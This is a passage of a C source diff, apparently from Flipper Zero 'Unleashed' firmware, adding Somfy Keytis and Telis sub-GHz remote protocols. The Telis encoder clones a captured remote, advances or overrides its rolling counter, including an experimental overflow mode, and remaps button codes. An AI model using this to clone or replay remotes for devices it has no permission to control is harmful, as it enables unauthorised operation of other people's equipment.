+void* subghz_protocol_decoder_somfy_keytis_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderSomfyKeytis.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyKeytis instance
+ */
+void subghz_protocol_decoder_somfy_keytis_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderSomfyKeytis.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyKeytis instance
+ */
+void subghz_protocol_decoder_somfy_keytis_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyKeytis instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_somfy_keytis_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyKeytis instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_somfy_keytis_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderSomfyKeytis.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyKeytis instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_somfy_keytis_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderSomfyKeytis.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyKeytis instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_somfy_keytis_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderSomfyKeytis instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_somfy_keytis_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_telis.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_telis.c
new file mode 100644
index 000000000..c0b26c945
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_telis.c
@@ -0,0 +1,786 @@
+#include "somfy_telis.h"
+#include <lib/toolbox/manchester_decoder.h>
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolSomfyTelis"
+
+static const SubGhzBlockConst subghz_protocol_somfy_telis_const = {
+    .te_short = 640,
+    .te_long = 1280,
+    .te_delta = 250,
+    .min_count_bit_for_found = 56,
+};
+
+struct SubGhzProtocolDecoderSomfyTelis {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint16_t header_count;
+    ManchesterState manchester_saved_state;
+};
+
+struct SubGhzProtocolEncoderSomfyTelis {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    SomfyTelisDecoderStepReset = 0,
+    SomfyTelisDecoderStepCheckPreambula,
+    SomfyTelisDecoderStepFoundPreambula,
+    SomfyTelisDecoderStepStartDecode,
+    SomfyTelisDecoderStepDecoderData,
+} SomfyTelisDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_somfy_telis_decoder = {
+    .alloc = subghz_protocol_decoder_somfy_telis_alloc,
+    .free = subghz_protocol_decoder_somfy_telis_free,
+
+    .feed = subghz_protocol_decoder_somfy_telis_feed,
+    .reset = subghz_protocol_decoder_somfy_telis_reset,
+
+    .get_hash_data = subghz_protocol_decoder_somfy_telis_get_hash_data,
+    .serialize = subghz_protocol_decoder_somfy_telis_serialize,
+    .deserialize = subghz_protocol_decoder_somfy_telis_deserialize,
+    .get_string = subghz_protocol_decoder_somfy_telis_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_somfy_telis_encoder = {
+    .alloc = subghz_protocol_encoder_somfy_telis_alloc,
+    .free = subghz_protocol_encoder_somfy_telis_free,
+
+    .deserialize = subghz_protocol_encoder_somfy_telis_deserialize,
+    .stop = subghz_protocol_encoder_somfy_telis_stop,
+    .yield = subghz_protocol_encoder_somfy_telis_yield,
+};
+
+const SubGhzProtocol subghz_protocol_somfy_telis = {
+    .name = SUBGHZ_PROTOCOL_SOMFY_TELIS_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM |
+            SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_somfy_telis_decoder,
+    .encoder = &subghz_protocol_somfy_telis_encoder,
+};
+
+void* subghz_protocol_encoder_somfy_telis_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderSomfyTelis* instance = malloc(sizeof(SubGhzProtocolEncoderSomfyTelis));
+
+    instance->base.protocol = &subghz_protocol_somfy_telis;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 512;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    return instance;
+}
+
+void subghz_protocol_encoder_somfy_telis_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSomfyTelis* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x1 | 0x2 | 0x4 | 0x8 |
+ * @return Button code
+ */
+static uint8_t subghz_protocol_somfy_telis_get_btn_code(void);
+
+static bool subghz_protocol_somfy_telis_gen_data(
+    SubGhzProtocolEncoderSomfyTelis* instance,
+    uint8_t btn,
+    bool new_remote) {
+    // If we doing a clone we will use its data
+    uint64_t data = instance->generic.data ^ (instance->generic.data >> 8);
+    if(!new_remote) {
+        instance->generic.btn = (data >> 44) & 0xF; // ctrl
+        btn = instance->generic.btn;
+        instance->generic.cnt = (data >> 24) & 0xFFFF; // rolling code
+        instance->generic.serial = data & 0xFFFFFF; // address
+    }
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(btn);
+    }
+
+    btn = subghz_protocol_somfy_telis_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+
+    // Check for OFEX (overflow experimental) mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+    } else {
+        if((instance->generic.cnt + 0x1) > 0xFFFF) {
+            instance->generic.cnt = 0;
+        } else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xFFFE) {
+            instance->generic.cnt = 0xFFFE;
+        } else {
+            instance->generic.cnt++;
+        }
+    }
+
+    uint8_t frame[7];
+    if(!new_remote) {
+        frame[0] = data >> 48;
+    } else {
+        frame[0] = 0xA7;
+    }
+    frame[1] = btn << 4;
+    frame[2] = instance->generic.cnt >> 8;
+    frame[3] = instance->generic.cnt;
+    frame[4] = instance->generic.serial >> 16;
+    frame[5] = instance->generic.serial >> 8;
+    frame[6] = instance->generic.serial;
+
+    uint8_t checksum = 0;
+    for(uint8_t i = 0; i < 7; i++) {
+        checksum = checksum ^ frame[i] ^ (frame[i] >> 4);
+    }
+    checksum &= 0xF;
+
+    frame[1] |= checksum;
+
+    for(uint8_t i = 1; i < 7; i++) {
+        frame[i] ^= frame[i - 1];
+    }
+    data = 0;
+    for(uint8_t i = 0; i < 7; ++i) {
+        data <<= 8;
+        data |= frame[i];
+    }
+    instance->generic.data = data;
+    return true;
+}
+
+bool subghz_protocol_somfy_telis_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSomfyTelis* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.data_count_bit = 56;
+    bool res = subghz_protocol_somfy_telis_gen_data(instance, btn, true);
+    if(res) {
+        return SubGhzProtocolStatusOk ==
+               subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    }
+    return res;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderSomfyTelis instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_somfy_telis_get_upload(
+    SubGhzProtocolEncoderSomfyTelis* instance,
+    uint8_t btn) {
+    furi_assert(instance);
+
+    // Gen new key
+    if(!subghz_protocol_somfy_telis_gen_data(instance, btn, false)) {
+        return false;
+    }
+
+    size_t index = 0;
+
+    //Send header
+    //Wake up
+    instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)9415); // 1
+    instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)89565); // 0
+    //Hardware sync
+    for(uint8_t i = 0; i < 2; ++i) {
+        instance->encoder.upload[index++] = level_duration_make(
+            true, (uint32_t)subghz_protocol_somfy_telis_const.te_short * 4); // 1
+        instance->encoder.upload[index++] = level_duration_make(
+            false, (uint32_t)subghz_protocol_somfy_telis_const.te_short * 4); // 0
+    }
+    //Software sync
+    instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)4550); // 1
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 0
+
+    //Send key data MSB manchester
+
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+                instance->encoder.upload[index - 1].duration *= 2; // 00
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 1
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 0
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 1
+            }
+
+        } else {
+            if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_HIGH) {
+                instance->encoder.upload[index - 1].duration *= 2; // 11
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 0
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    true, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 1
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 0
+            }
+        }
+    }
+
+    //Inter-frame silence
+    if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+        instance->encoder.upload[index - 1].duration += (uint32_t)30415;
+    } else {
+        instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)30415);
+    }
+
+    //Retransmission
+    for(uint8_t i = 0; i < 2; i++) {
+        //Hardware sync
+        for(uint8_t i = 0; i < 7; ++i) {
+            instance->encoder.upload[index++] = level_duration_make(
+                true, (uint32_t)subghz_protocol_somfy_telis_const.te_short * 4); // 1
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_somfy_telis_const.te_short * 4); // 0
+        }
+        //Software sync
+        instance->encoder.upload[index++] = level_duration_make(true, (uint32_t)4550); // 1
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 0
+
+        //Send key data MSB manchester
+
+        for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+            if(bit_read(instance->generic.data, i - 1)) {
+                if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+                    instance->encoder.upload[index - 1].duration *= 2; // 00
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 1
+                } else {
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 0
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 1
+                }
+
+            } else {
+                if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_HIGH) {
+                    instance->encoder.upload[index - 1].duration *= 2; // 11
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 0
+                } else {
+                    instance->encoder.upload[index++] = level_duration_make(
+                        true, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 1
+                    instance->encoder.upload[index++] = level_duration_make(
+                        false, (uint32_t)subghz_protocol_somfy_telis_const.te_short); // 0
+                }
+            }
+        }
+
+        //Inter-frame silence
+        if(instance->encoder.upload[index - 1].level == LEVEL_DURATION_LEVEL_LOW) {
+            instance->encoder.upload[index - 1].duration += (uint32_t)30415;
+        } else {
+            instance->encoder.upload[index++] = level_duration_make(false, (uint32_t)30415);
+        }
+    }
+
+    size_t size_upload = index;
+
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_somfy_telis_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderSomfyTelis* instance = context;
+    SubGhzProtocolStatus res = SubGhzProtocolStatusError;
+    do {
+        if(SubGhzProtocolStatusOk !=
+           subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
+            FURI_LOG_E(TAG, "Deserialize error");
+            break;
+        }
+
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_encoder_somfy_telis_get_upload(instance, instance->generic.btn);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+
+        res = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return res;
+}
+
+void subghz_protocol_encoder_somfy_telis_stop(void* context) {
+    SubGhzProtocolEncoderSomfyTelis* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_somfy_telis_yield(void* context) {
+    SubGhzProtocolEncoderSomfyTelis* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_somfy_telis_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderSomfyTelis* instance = malloc(sizeof(SubGhzProtocolDecoderSomfyTelis));
+    instance->base.protocol = &subghz_protocol_somfy_telis;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    return instance;
+}
+
+void subghz_protocol_decoder_somfy_telis_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyTelis* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_somfy_telis_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyTelis* instance = context;
+    instance->decoder.parser_step = SomfyTelisDecoderStepReset;
+    manchester_advance(
+        instance->manchester_saved_state,
+        ManchesterEventReset,
+        &instance->manchester_saved_state,
+        NULL);
+}
+
+/** 
+ * Сhecksum calculation.
+ * @param data Вata for checksum calculation
+ * @return CRC
+ */
+static uint8_t subghz_protocol_somfy_telis_crc(uint64_t data) {
+    uint8_t crc = 0;
+    data &= 0xFFF0FFFFFFFFFF;
+    for(uint8_t i = 0; i < 56; i += 8) {
+        crc = crc ^ data >> i ^ (data >> (i + 4));
+    }
+    return crc & 0xf;
+}
+
+void subghz_protocol_decoder_somfy_telis_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyTelis* instance = context;
+
+    ManchesterEvent event = ManchesterEventReset;
+    switch(instance->decoder.parser_step) {
+    case SomfyTelisDecoderStepReset:
+        if((level) && DURATION_DIFF(duration, subghz_protocol_somfy_telis_const.te_short * 4) <
+                          subghz_protocol_somfy_telis_const.te_delta * 4) {
+            instance->decoder.parser_step = SomfyTelisDecoderStepFoundPreambula;
+            instance->header_count++;
+        }
+        break;
+    case SomfyTelisDecoderStepFoundPreambula:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_somfy_telis_const.te_short * 4) <
+                        subghz_protocol_somfy_telis_const.te_delta * 4)) {
+            instance->decoder.parser_step = SomfyTelisDecoderStepCheckPreambula;
+        } else {
+            instance->header_count = 0;
+            instance->decoder.parser_step = SomfyTelisDecoderStepReset;
+        }
+        break;
+    case SomfyTelisDecoderStepCheckPreambula:
+        if(level) {
+            if(DURATION_DIFF(duration, subghz_protocol_somfy_telis_const.te_short * 4) <
+               subghz_protocol_somfy_telis_const.te_delta * 4) {
+                instance->decoder.parser_step = SomfyTelisDecoderStepFoundPreambula;
+                instance->header_count++;
+            } else if(
+                (instance->header_count > 1) &&
+                (DURATION_DIFF(duration, subghz_protocol_somfy_telis_const.te_short * 7) <
+                 subghz_protocol_somfy_telis_const.te_delta * 4)) {
+                instance->decoder.parser_step = SomfyTelisDecoderStepDecoderData;
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->header_count = 0;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventReset,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventLongHigh,
+                    &instance->manchester_saved_state,
+                    NULL);
+            }
+        }
+
+        break;
+
+    case SomfyTelisDecoderStepDecoderData:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_somfy_telis_const.te_short) <
+               subghz_protocol_somfy_telis_const.te_delta) {
+                event = ManchesterEventShortLow;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_somfy_telis_const.te_long) <
+                subghz_protocol_somfy_telis_const.te_delta) {
+                event = ManchesterEventLongLow;
+            } else if(
+                duration >= (subghz_protocol_somfy_telis_const.te_long +
+                             subghz_protocol_somfy_telis_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_somfy_telis_const.min_count_bit_for_found) {
+                    //check crc
+                    uint64_t data_tmp = instance->decoder.decode_data ^
+                                        (instance->decoder.decode_data >> 8);
+                    if(((data_tmp >> 40) & 0xF) == subghz_protocol_somfy_telis_crc(data_tmp)) {
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventReset,
+                    &instance->manchester_saved_state,
+                    NULL);
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventLongHigh,
+                    &instance->manchester_saved_state,
+                    NULL);
+                instance->decoder.parser_step = SomfyTelisDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = SomfyTelisDecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_somfy_telis_const.te_short) <
+               subghz_protocol_somfy_telis_const.te_delta) {
+                event = ManchesterEventShortHigh;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_somfy_telis_const.te_long) <
+                subghz_protocol_somfy_telis_const.te_delta) {
+                event = ManchesterEventLongHigh;
+            } else {
+                instance->decoder.parser_step = SomfyTelisDecoderStepReset;
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data;
+            bool data_ok = manchester_advance(
+                instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+            if(data_ok) {
+                instance->decoder.decode_data = (instance->decoder.decode_data << 1) | data;
+                instance->decoder.decode_count_bit++;
+            }
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_somfy_telis_check_remote_controller(SubGhzBlockGeneric* instance) {
+    //https://pushstack.wordpress.com/somfy-rts-protocol/
+    /*
+ *                                                  604 us
+ *                                                  /
+ *  | 2416us | 2416us | 2416us | 2416us | 4550 us |  | 67648 us |  30415 us  |
+ *  
+ *  +--------+        +--------+        +---...---+
+ *  +        +--------+        +--------+         +--+XXXX...XXX+-----...-----
+ *  
+ *  |              hw. sync.            |   soft.    |          | Inter-frame
+ *  |                                   |   sync.    |   data   |     gap
+ *  
+ * 
+ *     encrypt              |           decrypt
+ *  
+ *  package 56 bit    cnt    key  btn|crc    cnt     serial
+ *  0xA7232323312222 - 0   => A7    8 0   | 00 00 | 12 13 00
+ *  0xA7222223312222 - 1   => A7    8 5   | 00 01 | 12 13 00
+ *  0xA7212123312222 - 2   => A7    8 6   | 00 02 | 12 13 00
+ * 
+ * Key: “Encryption Key”, Most significant 4-bit are always 0xA, Least Significant bits is 
+ *      a linear counter. In the Smoove Origin this counter is increased together with the 
+ *      rolling code. But leaving this on a constant value also works. Gerardwr notes that 
+ *      for some other types of remotes the MSB is not constant.
+ * Btn: 4-bit Control codes, this indicates the button that is pressed
+ * CRC: 4-bit Checksum.
+ * Ctn: 16-bit rolling code (big-endian) increased with every button press.
+ * Serial: 24-bit identifier of sending device (little-endian)
+ * 
+ * 
+ *      Decrypt
+ *  
+ *      uint8_t frame[7];
+ *      for (i=1; i < 7; i++) {
+ *          frame[i] = frame[i] ^ frame[i-1];
+ *      }
+ *      or
+ *      uint64 Decrypt = frame ^ (frame>>8);
+ * 
+ *      Btn
+ *
+ *     Value  Button(s)       Description
+ *      0x1     My          Stop or move to favourite position
+ *      0x2     Up          Move up
+ *      0x3     My + Up     Set upper motor limit in initial programming mode
+ *      0x4     Down        Move down
+ *      0x5     My + Down   Set lower motor limit in initial programming mode
+ *      0x6     Up + Down   Change motor limit and initial programming mode
+ *      0x8     Prog        Used for (de-)registering remotes, see below
+ *      0x9     Sun + Flag  Enable sun and wind detector (SUN and FLAG symbol on the Telis Soliris RC)
+ *      0xA     Flag        Disable sun detector (FLAG symbol on the Telis Soliris RC)
+ * 
+ *      CRC
+ * 
+ *      uint8_t frame[7];
+ *      for (i=0; i < 7; i++) {
+ *          cksum = cksum ^ frame[i] ^ (frame[i] >> 4);
+ *      }
+ *      cksum = cksum & 0xf;
+ *
+ */
+
+    uint64_t data = instance->data ^ (instance->data >> 8);
+    instance->btn = (data >> 44) & 0xF; // ctrl
+    instance->cnt = (data >> 24) & 0xFFFF; // rolling code
+    instance->serial = data & 0xFFFFFF; // address
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(3);
+}
+
+/** 
+ * Get button name.
+ * @param btn Button number, 4 bit
+ */
+static const char* subghz_protocol_somfy_telis_get_name_button(uint8_t btn) {
+    const char* name_btn[16] = {
+        "Unknown",
+        "My",
+        "Up",
+        "My+Up",
+        "Down",
+        "My+Down",
+        "Up+Down",
+        "0x07",
+        "Prog",
+        "Sun+Flag",
+        "Flag",
+        "0x0B",
+        "0x0C",
+        "0x0D",
+        "0x0E",
+        "0x0F"};
+    return btn <= 0xf ? name_btn[btn] : name_btn[0];
+}
+
+uint8_t subghz_protocol_decoder_somfy_telis_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyTelis* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_somfy_telis_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyTelis* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_somfy_telis_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyTelis* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_somfy_telis_const.min_count_bit_for_found);
+}
+
+static uint8_t subghz_protocol_somfy_telis_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = 0x4;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+void subghz_protocol_decoder_somfy_telis_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderSomfyTelis* instance = context;
+
+    subghz_protocol_somfy_telis_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Sn:0x%06lX \r\n"
+        "Cnt:%04lX\r\n"
+        "Btn:%X - %s\r\n",
+
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)instance->generic.data,
+        instance->generic.serial,
+        instance->generic.cnt,
+        instance->generic.btn,
+        subghz_protocol_somfy_telis_get_name_button(instance->generic.btn));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_telis.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_telis.h
new file mode 100644
index 000000000..a072079da
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/somfy_telis.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_SOMFY_TELIS_NAME "Somfy Telis"
+
+typedef struct SubGhzProtocolDecoderSomfyTelis SubGhzProtocolDecoderSomfyTelis;
+typedef struct SubGhzProtocolEncoderSomfyTelis SubGhzProtocolEncoderSomfyTelis;
+
+extern const SubGhzProtocolDecoder subghz_protocol_somfy_telis_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_somfy_telis_encoder;
+extern const SubGhzProtocol subghz_protocol_somfy_telis;
+
+/**
+ * Allocate SubGhzProtocolEncoderSomfyTelis.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderSomfyTelis* pointer to a SubGhzProtocolEncoderSomfyTelis instance
+ */
+void* subghz_protocol_encoder_somfy_telis_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderSomfyTelis.
+ * @param context Pointer to a SubGhzProtocolEncoderSomfyTelis instance
+ */
+void subghz_protocol_encoder_somfy_telis_free(void* context);
+
+/**
